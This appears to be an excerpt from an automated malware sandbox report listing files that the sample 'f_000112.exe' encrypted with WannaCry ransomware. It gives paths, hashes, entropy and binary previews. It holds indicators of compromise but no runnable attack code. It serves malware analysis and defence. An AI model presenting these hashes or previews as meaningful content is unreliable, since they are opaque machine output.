                                                                                                                                                                              Preview:WANACRY!.......&O....0...K.:.F..N.+..s7.'.oV.._/...?..[......^.+.7@...R..W`..a.......p..Z..e:$.i.H........I"M........q..SQ................).*3r.._...<..@...=...Nkm'[0c.-.b..z..tG .....2....].x.....f+.&....4..v..=......c3.Gp....c9.iA...._*.x6?......1KnOJ2.{.....Q......R....'.#q...c2Qb...o....v..o..C......z...v....A5M..@*m.I80..mD..w...Et..8..F.F.MB{.... .$...u5.7.....eM.."..4..E....[.fT....<@`kB4..T....K.mH.. ..}l....^&...~.s....;M....7..,>..*W4..6....7,A9.".-.....4.%....&BC.IP..=........LN....E.n...N$....}.?..1..t,....!.u&7......S.....6.....wO..f+3....8e...Zt..$K.......nU..b.WJR..].........qL..t.9.....K....%a..v.k1..9g...#]'.?.4.........p?..K.Y.....z.x.8.....}p7........9.+.>k..Z....v.L..N2R.nP.....[~....N......p...n.,.2.p%.&._s.........n...U.TR..*"g..Z...F.7.'.67.=.......a...OS. .....N..Kw..a^#..ZMS.>....c..P.%..;.S.........z_...sq....>.../k..-.$u..D.._..,..KTx....z.fk...;....@..t+...J..1]..j..L.......dt$83Y...%.....U?.Z.s..m..;.t.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.099804728873662
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEoHQkmV+xPjvlHVzwTKHUHScv8i9TVz8/nireQr6pDqpMg80M:bkEkLmV+xrvRVkyUHxVz8/nire+6Nhgc
                                                                                                                                                                              MD5:D28144FD38687BC47F7D5254292894F2
                                                                                                                                                                              SHA1:ECF22D0108111F0F332AE9F6E00A561D4F452D9F
                                                                                                                                                                              SHA-256:7C4878C845E2B655A4B16E267188D72F833E4B46D5A47A873106DAF2BABFDDD8
                                                                                                                                                                              SHA-512:B7B72172642D3E1CE72914A084C3193D855898EFAEEE146151BAD4DCE7FB46408C97A6156E99409E46CDD5F5B18D311DB98C7EB3AD125EB757A5332429C0ABF1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....r...-.6..%#v....-.W...Vs[....2$....8.oq...b..W.Ldm.,F...:B.W.....X...n.4.$.*$..+6.q.Y.7%+..bmk(pHRR3.Z(...6..b5....b/.Y.q...E.A.%.7..q.l.e..Vp.I+.~.....N(CF.....]...s....D.h.....!..9..!.....#..L.Q.........Y6...#...V...ss.........1ML@_.J.:L.{.i......................i..Z@

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.111936094011412
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEOvfjohxNkVUwLQ91oTocI9KjukYX0/flWvaPXfb+8cXRon:bkEOvfUhEVUSQXCo5HSl6a3UCn
                                                                                                                                                                              MD5:CE76D2E78A0700E0853611363C51977E
                                                                                                                                                                              SHA1:6825A0E788042BE4973E0E4B723D337A13A0C50E
                                                                                                                                                                              SHA-256:0D45B7B22E5F2C25DCFD8EBE0B7040B9E19728A4ED319220CBDF0CA8A5530918
                                                                                                                                                                              SHA-512:0A81FC8D5E31935C640A3823695EB69FA27C2C6E7BE4D03F17A4DAF2E23939161D58C9336ADB894A6AEC27450ED580DCBAE6DBB889C1218D97A2CF36C96D9186
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......=...v.2F.3y...]..$...4Isp..G....V.I..=..O.J..0..I.Cz.....V.......k.'.b.Y[...n....@=......J...[...1...5.c..)y$6..M..X.nQ.gNR.ekR!$...u...8.......e.N|.AZ.......[..K..F.`....xt.4:..8.(..S./..+..R.}o.RnH......".G.Y...(.P..Vu:.H#....t4SDK-`Y"............Q..i....@..^W.T.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):217800
                                                                                                                                                                              Entropy (8bit):7.999220455466243
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:etRToHi3x1wK/86isHKWNTnhHxfjgRo5c:etRToHux1HTKOhVjgQc
                                                                                                                                                                              MD5:440095A23DE0303C28943EF4AF6DB1F4
                                                                                                                                                                              SHA1:2F6035C1736E66CD47F30ADD8C0519E8692CC3F8
                                                                                                                                                                              SHA-256:B5A4B3E50858763B906266E073547925780A3985725FAB132816EC7FA8236686
                                                                                                                                                                              SHA-512:5ADAC258B55927110FA243142010CD95227B228D7E0856C17449E6610F086B63EA16DC537F88EAB3910DF784BD36233C1F6A00E288DFFC3F7A9987E817295780
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....M....s..X.(}.: . O......p....h..N..Lb1..Y..)#...WB.%.{<.2T0..+.<&.e>.Hx.........".........:=K....2W..>K.W0....s.w...m+8..d5#L...^V...(....]i.Y...0.T../.._s.q.......q...V..h........R....iL..{..1..T..sK:......wk...`..Rp.]B.X.>.CR|U...+.4..p.}.=..n.....Q......i..xB.>..K..e)....,]%.-O.Wf........J..|.{"..T.6.P..e....=ze.L..!.....0.d......#iE#.F2;F\.Z......9.PJ..c.RW.P6.!....0p..VLs..J........=O......#....x.....S.K.y.-....G....Q)...`.....|rl.p..*C...c.hL...].g..-.>_.....?S...`T..ct..~G..U.<l#..R..C.n...]Q$.N....o-..n...0..w.W.=....G..,.s..%.1>sC....vJ>..f(..S.c{....g..<......A.q..[R....jEQL...m[...jmGQl}<...-..Aw..v......_.y.:y.Sk..........=.].C..43.<.o(c.g,..F....>..a.Zus..RN*}....,.ky..{...w.@..d......Lm.....W..t`...Q$..`{Q..L...-......S.F)..&d"........:...cEY.u...y...B......5l.8.....6G+R..s|HA...5.b.....N.>.'..5fw...!....-....=v......T..|.....t..D.|.4:f.}|l...6.C...;^......M.PG.(.ZS....O.8r.f..XT..p.......g.JF..:.id...S s,..uc...

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.115424119472874
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkErXoSnKJL401yvlu80M8SQNnAjH7y5t3m2OyWm1DjDTCGgr2g:bkErXjKJs01yv2hNIW5tx1RTCj2g
                                                                                                                                                                              MD5:1F3D4DAC932A92A0CB4AF59A4FBFC8DF
                                                                                                                                                                              SHA1:F8CD4C4243CFD3026A96927185AF9A02C0A5851F
                                                                                                                                                                              SHA-256:1D7C92BB3C48DAB1491F56AD20154CAE20179188A9F88394891B90A647B0063F
                                                                                                                                                                              SHA-512:56873D22A95765543E9389E7C716837EFE9B2C7379AA0C036184E7CFD5A73BDC28715996CCA88124CA1741690C7FF0318F249C00BD8DEBBA1C55A636BC211EB3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........).X....m...c7.....0.3.I....-..pK......t.J...)...._.#..'=&\.'..X.....:5.S....4..hW..8..*..#..Xtc.O.W....5|.Aml..y....'..8.....z.Fny..X..3FDXZ\X .....}.#.`..t.CaPH.F..W..Ks>..tq.*...(.Pp....g.0b..!..$.._.....}...0.....X.p!....3.....*t.<..X.v..................8u.KS.B.0

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.18073517501344
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEPFus64SjyVhhUcWfOFUkS0L58AWfOH1eC6Sc8Wh6Xoz/9pHBfg/10:bkEosTSjyVEhGfHkfOVeRSdG5S+
                                                                                                                                                                              MD5:D300991F44BBEBA062E96230F381DF97
                                                                                                                                                                              SHA1:591D4891F7F27CEFB3761CCF67EA025DBF81D4DB
                                                                                                                                                                              SHA-256:FC2461AC0015A3FEC22DF1F799C52CB99F729278C33266A09D69D9723EBD956B
                                                                                                                                                                              SHA-512:64F76475E934BD3433B7BBA0AAF54266A13765AD590EC077AD7CEA28A75953902408ABA06E566C8B8E3508748EB51140EDBAE4C85824209BE17864F69EBECB79
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....^......i.iu8.j.P1.&.l..".v.a......!.. c....*....%y...F.;e.....K.Qu..h.R...`...s`t/_..fd.J.Q.,.x......<Q..._=.+/.wS!d...!...+h...$.r...of.......-.+.'.Q.g.eM..`S.v......41F.....$@.....kI..\T.K.G'.f..~r..\zl.f..=...........I$3.q.#.M...v.w..7....U...............a.f.gtNE..m...

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913551623871.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):115096
                                                                                                                                                                              Entropy (8bit):7.998335834431556
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:VH4YrrK7pG2otxxjLg8mZog52gZ8wcXoRo/nn7Z+a0YUl0ubHwUwVbydtlY2X:B5rO7WtnmZtUguw43zEa0YotLlwt47
                                                                                                                                                                              MD5:E970C677F1829086A3F61CF65DCAEB58
                                                                                                                                                                              SHA1:3672C12F37986F9FA2B37D29A4984EDCCD6BF82A
                                                                                                                                                                              SHA-256:8C159C1BD65B74B4D3646423497F4292871441F7B48B86DB4B720C3D07AF1455
                                                                                                                                                                              SHA-512:5D1774508DA6E478526508F627EEC477AB16B6D4AC269EA34F75E2ED314B9CD97DE646EB119DF328DBAE9A691694740410CA83829243073112A5B341F18B70D6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....{.......@..,...A.....N...X..D.yo...W.L(.../.......}S(..........4C...'.&.M.U...u......9../N.)....bo(...}.._....{y..@......D E.....7K............e.kO.....Q.."._utE.Q.v.. @..S...G.....6.(....^.e.....O..._..pp.....y.$.l...v.3.6.nQ......R.0.............~l...u........M.W,A.%L...|.Q.%...R~c..8c.W.....$j...U...~........)us..7m..*3#/....W.fN....F..{#.G..l.7?.$H3A+%v2.| ..&.I.-.4.G.a.#k.......w6L-.3..ps.>)M....Z"{2P.+.H.=t.f..]`Lb~e..:.C..$......Xh[=...,...}...<{r.......oJ^#/.Z..}..*<..9 ....B......w.G3v+.....c.sN.o..p__.x.p$...X..D.....rR|...*6=w.`C...1%<....i......X../}....~.J.....{JB.G.9.m......dx.2.....?u.Elz....c.h....|...x..5.....Qx-...O.\1........T.=.Z...O.U..q......%m...J..ei.1...!W.......Tz....!"W.._.*.,...J.=.D.g.k.>./.L..l4X......$..^...*ega..7BfPy].w{.*3..X.t..%eAJ.5Pk...r..i.X.-..SZXn.O.).....If#.$..u.....<....S.e.pt..n*C......@....)..,..v.~.s..;_....8YW..X.z.D.j...9.O.7.R..m/.........P.|W..%....\........E?Q.Z.7c...r5.L..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913644287936.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):115096
                                                                                                                                                                              Entropy (8bit):7.998271509815682
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:DBTfT6QJ/EQN7+TEq3rDDghKjhLHLWhziRrGnwkyquMblrDX89CtLkl4jwlVtVty:FJcw7+TlxJGnjXjM9ALilCGg
                                                                                                                                                                              MD5:2F58C85EDEA9E571B880EF7937785785
                                                                                                                                                                              SHA1:76B42A9EFDC3F5B33CA831D1171C1B5F6948E7C5
                                                                                                                                                                              SHA-256:827239426F71E5E1EB215D28241079042CE0873626F1C9D642FBF9857971856F
                                                                                                                                                                              SHA-512:F6BAEF1085432235047A7E3D4754B747D8B96EEAFF4230283537E7D054718766650523EEC73ED97C18F4D5518EA610B3B2D3F3CA8A432F1C9F8E50B4EE6C959A
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....L+..N....*bz.=.Rs-P......O.gi.I.iInP..\.Ik.8...U..G+....?T...7.h..:7.DK.U........?RB.....fr.(.;8..,..;.I./'.Y..P..=m..:U..>..6}6...5z..|.30@.I...ri........&..G*.I~...&........a...v...Q..;D....x"$6..Q..,......8....=.E.N...&..J.DhV.W.%.tt.q1{....................n.T.@M....I.pC.Y."a...cdzt..t.h.=.e..X0/f.c.`%^.r.CyKlO........#.:..?...F.rB...&\.&.$.p..g........?...........gJ.]..g...c..I.9..Q.s.........,.w1...}..2.\"..&!.....>l,.x.:..F..a.^.-.Qs.8..e{.|.h.q.........x..l+...bP.....Ne+.T....z. ..:.|3...s..\.v.....]6*g$k....4 .l.X.l.uc....qJ.....7.P."O...[.p)..(.F.......O...#T.9.o.k..8./...'..H..[.V....[.....gy......p/...C.C$`...P...4..op4.3B.1.....\B.[..f.N..* .....b.q.U.fmc*j...............'qL@!E>."Q..'.c..F...B.......{.C.J.n.k'YF...cI.4r....<...4w..>.t...K,D...C..R0@....;.x...x.q....[..V..=.1-x........b.1..=...@...~.!.jT........G....y.D....#a\-....b..<.{C ..F..RY..n..0hj/....)..F$._.".........w....X\.4Q...5K.p...j{../...:3..v...&......b.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687199480522568.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):114280
                                                                                                                                                                              Entropy (8bit):7.998353808644678
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:QGy3A+gJ47tsJ2sb/OD/BwvqxOtOMZQNgNP7XnyDS9:wHgiy/2wv2M2Mse
                                                                                                                                                                              MD5:2434ACDA9BC6738458892227D24F64D0
                                                                                                                                                                              SHA1:FC47248BB3EE589CAF84E6B32CF011339EEF78C4
                                                                                                                                                                              SHA-256:40F9B172B0FC0511B4114821D71A95EA3D411C250997E60355E0B186AA54239D
                                                                                                                                                                              SHA-512:6C46B582D5242BFAE898C02F6F180722C68A3CA983CA706036AED3E76A4E0608C164D77C4C28CC68CF5D42C82B3BE45885D34110296A8B8DC4A17620E7EAEAC6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....~.....M...R..[.&T.z......)/8te.N../..f.C>..d.5.(.3....V.....`.s9...p./_.L(..8d&...p..v.....:3.......5..../J..!Se.@$.$..............hR;q12."..:y.......M....<....)....*.O.....VM...GOO...3.M.......%.D2.Qu.(.t..B(..G.g......9TS....f..$l...vR....w....E........QU/[`W.0....]5....{..*.Wg:[.Q{.Y+..<_..y........w.s....6.......J..M.Gs6[..B......M.k%RVL..r.S.X.!......}.X....$Pl.&...1.k..F.%....3.).|..i...d9$p...?W.%A....o..Z+..'/A...JX..Z6.6...6L..2o.u.).`...#....].....j.6.h.a../.9|..G*M.?).U.{=..x..5E..3...=..$R..5.1.....I(!j...,.&||.."..........Ve....^.....*.....I..Bk.{y!W.E.s.....\.....6.m..h....Ls...O...5..%..j^........^."9.<0....p..Y..9..j...d..'.Z..t.M...F..L. g.i......tXO Gcx.g... ..g..4.H).=b2H78.d3A)....bZ.7..q.....G...iF\>u......../...Y*N.j...S....i...<........b(....-..@..Z... \[{.i>....<.9....pk..O.^2..\..k.#.w..r`.\.......2u{..f.B.l....*.R.N.,+..5.=.......J.......?......c..tA.9.......&....]:R.9Ez.dI.m2...*.......`.0.F..)4..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687199780329628.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):115080
                                                                                                                                                                              Entropy (8bit):7.998103508105335
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:SXSYLbu0XKGJD+n2RuRJ09oS/jw89Vr/zn2yr8/+:SCYLbu0XELTY0SRT2yr0+
                                                                                                                                                                              MD5:16C32029EBE58C5F3B2CF161316E526F
                                                                                                                                                                              SHA1:68531B20F1E2EB0080CE7B23F942BBB962CF3F32
                                                                                                                                                                              SHA-256:ABA1A2FFC44968CE8981DC091F9291728094D4387322E8655EF0D0797FCB183F
                                                                                                                                                                              SHA-512:D84A4EAC834E1E513E9955FF34FEA3AE4B6B423E3DCC6D215F3E46CE2BDC0C78ACCDC07FB6771C5649933FD3295712C11F0B29D7E0666FEEC30EC67A95625B90
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Y.r......(N.....Z..S.A.F.....D..J...3r`..^&.S.7...(...%Q..V,I..E...`{U.f.&...s...pY.s...?m.ZD..To..i..A?a....Ps#..P.z..-T.nr.?.tsN2..(dv..bF...i.Yl...2.pB.?t..{....."2..g'.`D..q..j.............%B..Lb....$...0.t.......%Vy..6.-.a ]..b....=L.....a.............;"..Nq)..x..sZ.....?S..I....A.@9.&1.h...lS.........r@.....C.e.z.`..as..l&....Z...m.m...^":O.....h......F...6.aocj..`....\.YT....".f7SlRAW.w.&N.q$.......0c.+....l*Ho..+.,=f'....I......-3.........g.4.......".uMr!.H!.8.O.].Q.-p.....}3.....&....j.n.v...;+.$...7...v(.....r../...e..y......ru)rP.[am....*..(.Tb............R'.s.Uq=Ap..:[8..$...7.$...Y..L..KEw....;...A<7U.....".*B..&..M.'.}M/..b5.\.....\qT....R.....o.wpZ..{..[W.I.....#.9..;...?G!.V..lH.C.:.\...z...^.o. ,.0%.F.&...1...P..2.cB]Qa..l.T}.....:.s..#._Y6.e'.).EmT..zxM..M..p|..}.J@..(Y.I.#..+.W...$.c.... .w|2.../$}q..h.d..U..Tw.R.=.e>FN...y...Cn.z...)&."....(..@...............c.b.....i..P...{.).......I......JE.'...P..6.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687200080523294.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):115080
                                                                                                                                                                              Entropy (8bit):7.998509339813832
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:DZk3XdJL5IiYG0GDhBB0JNWB8V2OjsIXRdwxWz:DZkHdLrXDhEV2Ojswd
                                                                                                                                                                              MD5:FD01E77115CF4FA31CF939492EA61801
                                                                                                                                                                              SHA1:70D39A2BF5289C90B0A32C36624FDCBF6A814DB9
                                                                                                                                                                              SHA-256:3C243735C66170DEF57D9B9E7B24B977D6FDF0E77008BB9C4B744F71800C1374
                                                                                                                                                                              SHA-512:A7287831BDD5C08F1C9692D57E33968A767EC2C2797D6F49688AD9292570883AA64A4B7A436993C7977A4BEFBFBF54AEA2DFA7FFD1FBA9714E0A7B0DBC6146A6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......{.../D.f..<..Aa..2td.3a...K....sg.T..9...k5./...1op.9>.d5y...'..v.nZ....K.&.t...*c.....jZ_.....8..M..FD ^f[|...l.....".(M#.._..<g[..z4..3..~..vP....U....=.......4.....F....]C...._"...>...)yv.y.E...Bb...|........?A3....<...#k.....;..p...KB.[.....a.......(. .{..r.{.L..P..zr.4p.$.q.a..b.b..D..X.x^(.+.Z..-..D..[..r.+y.......b.N..$...U3...R@...7.u?VH...-V.|..(..-..vIN/0.....i...[?.t.....J.......6C.....$..B.n....m2G4....."{;d.....O.;.....o.K..C......sg.........=..D.?.......5,X:y.~..i.....g&[t.....0Oq..m.=......0#@.B.'+.9(..jc...W....=.Qj.T!.P..O.gh...o...s...w.c`.:.....$..H&oD...n.t.s..P.5d....q!.T....L..S{.B.f/..F./....U...D+..3.....v.E.....Gh.@A....o0c.j.l-........x...d.\..H....K.. ^s$._..N.y.....LF(.'..R.m7..............G.....Z..?.-.....:..i.M.-......!..LC.Y5..I26..Zz..5..CJ..~.C.j.U....j..A...S......,b+m.I..._.$c......m..D.mO.&...f.D`.V.i..-/.2.S.....io..hn..i..Uj-..4....5.....u@..n..N...3.;.P....M.<.....<....@...+.H.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687200380752461.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):115080
                                                                                                                                                                              Entropy (8bit):7.998586131729066
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:ln9XkCVx8Q3ZT3kLVRmYP/u85mEX1RxXwg:J9bdpLSAYP285mAgg
                                                                                                                                                                              MD5:2D43FD9754DF551E3316668F1E8AB29E
                                                                                                                                                                              SHA1:6A34AAD7EE89EEABDD4445361B549E3F1F254738
                                                                                                                                                                              SHA-256:4600AED210FAF30B748B1BE665742457FD3F2C7B93F4C3CA9C92BD892366E1FD
                                                                                                                                                                              SHA-512:72A058DE6FCD83A668015105BBAA005071870B30334BA34B25E7DEA669C77A1DC57E986BB57EAE69C2E9D02C4641DC7F1C9C3745F9C9B6AF73E0736F8289B312
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....)..E..........M.....?....f..P..S.....c....7..v...../.o3..jVq..S.......b.?..3..N..A..EbD...h^8..V.'QVV... ...C...vQk:X.$U.x.Jk.AlF....A.O....1....R...0L....?...p9.we.......7.C.H.~.].....'.]/K..^:9.X..h,....U..H.t7...H%...s..d.dC....!...r.E.5ae... +L]....a.............%&.D.".)b..(...#4.a....T....FU..!%.{fGMh0....A...........M.e...S......cK...[..`.L..........C.fe:......uE..n..Oi.......8.j..{...B.%.a=.....`....JL..}i.d.mS(G`#.-L.^.....RN..,.....90....u^....6.........O.L4....49`w..JF.....m.D..n}....6.1.+...i,..$..F....f.L.}R.K...o..\l6......z...JXi..Aq.uD.H..8..K..vU...N..T.aP.m.8".}.......CB.cc.H.?%qM...|..T.FL......*g{.,v~VD...`..4.....Ui}....r[5.v.L#i..3'.KZ....d..4phH.".`e.......l.2vse...........Gc..6...P'..Q..@c$1..x.BX..".qB%Iu.=?4M7r...)..9.P8.)..%..A..8.,r.Xn.Q.(...-.Q.m..p>....9}.../C..!...]......8...+..$...-......Ek*)..8...7.{...W..N.1...}%...$%.!........^......+...(..L........../..>.i......*b.F.-..".}.8..[.J+.sK].E./N..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):696888
                                                                                                                                                                              Entropy (8bit):7.9997050950579025
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:YD0LBwLPRW1WMnZJA603YGgr1WZCW9MaswUmX7DKufPtHYOyyPtqv:YQLBwLPR5Uw3SW1ArwnKMYOyyPtqv
                                                                                                                                                                              MD5:9369B177AD21417033CA3FBD4EC03744
                                                                                                                                                                              SHA1:821B1C554029D1593931CDD7C46DEF7AAB9A8CC7
                                                                                                                                                                              SHA-256:6707BC344098FDC04880FD644F8E80CAB0A03D6113412912E4CE54D336D9D9DA
                                                                                                                                                                              SHA-512:D5FB277A418A9EE1050B354BF9F92431AD5AF78771425BFCB24ADA7C9C740B1CC09D2CCBBAB9368A6790436FD93214B582BABC9108ED0A47E4EDD80B8F1DF2DA
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Z~.q.. ^..s.A....@....._".Y.s.....?....n.\.f]Rj..$o|-....e.6!@..t..m....6.Z..4.B...Z...b9...A.A.lwB.@".pS,..D.9}A..`....}.!Q.@[..y......,1^...3..w.g..o"Z_RDO.O.,_.A. ..`..|..n........j.H.A$...z....ni...kp..%..P..h...U...1.c..3.J...Fi_..j..Rn..K............u....P..8...v...e..........S~B...GC...gq|.^k6Xa....L.,~^...>A....%x...2....g.L.^.g..:z]/.y.....*8g.+6a..c...7$..1.....U.?....!..T.f.6..{....7..B.85_....:..55..].ia..V&.C......B.E...>.2(D%..9..a.....j.....~.~.3.~..b..........*.-.z1^e.t..9..#4.62.^.m.S.h.S_v......q.R...l..ul.....+O.4..?.......=z...)D.Oer...&.L.{..C......#......2 ..'Q.\M..q......$g..~.....+..`!...,).}...~}.1...H..x..z.M......:GlL".g^....A6-.pA.....T...{.PR.XC...w..i..9...S.,.a..H.@.....f..J..=.|]..c.Q.i...Jiit...[....u_..}.......l.O.y.....C.....x.....z.<m.cq.v....*...B..y,.Nd.2)KS..b.L.....L..8.7....7nF.iM .....Gc...zBWb.$..6,..;...c...Ns..(&f.. O...?.mZJ..6.F..!1$.,>.M.*...F.^.XyF`...#..r...U.(.7$e.V\.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):103448
                                                                                                                                                                              Entropy (8bit):7.998157169896804
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:sy4Azk30+cD/3rqF+N6q8yyi2TiLIH7k7y:sylIkl/nyHTiLIbn
                                                                                                                                                                              MD5:28F0DC5847DD77F7F5517D33107C6B22
                                                                                                                                                                              SHA1:CE296543AEF9428D5D5DAAD5290C33CD00882FAF
                                                                                                                                                                              SHA-256:914DC70A79BA1BDE418608BF3F62FF03347EF0B69D7D0F8E78C10FD8786398A0
                                                                                                                                                                              SHA-512:3BA28B7B100FEB0C096ED66F47CB40BC834A8FC8B1C84FA037E5852C4F218EF7EF8C9DA1FF30C84C172043557D83AB5F12A7B5FEC6EE17A2F9E27D7923EC5833
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
